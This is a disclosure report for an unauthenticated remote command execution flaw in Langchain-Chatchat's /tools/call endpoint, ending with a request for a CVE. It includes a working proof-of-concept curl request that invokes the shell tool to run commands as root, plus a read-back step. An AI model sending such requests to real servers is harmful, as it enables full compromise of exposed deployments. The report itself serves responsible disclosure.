【Security Vulnerability Report】CWE-78 /tools/call endpoint shell tool direct RCE (CVSS 9.8)
Security Vulnerability Report -- CWE-78
Summary
/tools/call endpoint shell tool direct RCE
Vulnerability Description
Affected Repository: https://github.com/chatchat-space/Langchain-Chatchat
Branch: master
Commit: 49165d6af4438aa7e8a1f71ce276db55f4405151
/tools/call Endpoint Shell Tool Direct RCE
Risk Summary: An attacker directly passes
{"name":"shell","tool_input":{"query":"<command>"}}viaPOST /tools/callto bypass the LLM Agent and invoke the shell tool, executing arbitrary system commands with root privileges. The service defaults to binding0.0.0.0:7861with no authentication, and the shell tool is registered by default with no disable option.Affected Interface:
POST /tools/call(port 7861)
Exploitation Conditions: Exploitable with default configuration, no authentication, no prerequisites
Known Status: Unknown: No CVE, public article, Issue, or security community discussion found regarding Langchain-Chatchat's
/tools/callendpoint directly calling the shell tool RCE pathExploit PoC:
Usage:
./poc/exploit_entry_004_tools_call_rce.sh <target> <command>
./poc/exploit_entry_004_tools_call_rce.sh http://127.0.0.1:7861 "id"Exploitation chain step by step:
# Step 1: POST /tools/call to directly invoke shell tool (bypass LLM Agent, subprocess executes command)
curl -s -X POST http://127.0.0.1:7861/tools/call \
-H "Content-Type: application/json" \
-d '{"name":"shell","tool_input":{"query":"id > /tmp/entry004_marker.txt"}}'
# Expected: HTTP 500 (BaseToolOutput serialization bug, but command already executed)
# Step 2: Read back command output (local docker exec / remote /v1/files)
docker exec chatchat-local cat /tmp/entry004_marker.txt
# Expected: uid=0(root) gid=0(root) groups=0(root) <- root privilege confirmedSeverity
CVSS v3.1: 9.8 (Critical)
Vulnerability Category: CWE-78
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Source: chatchat-space/Langchain-Chatchat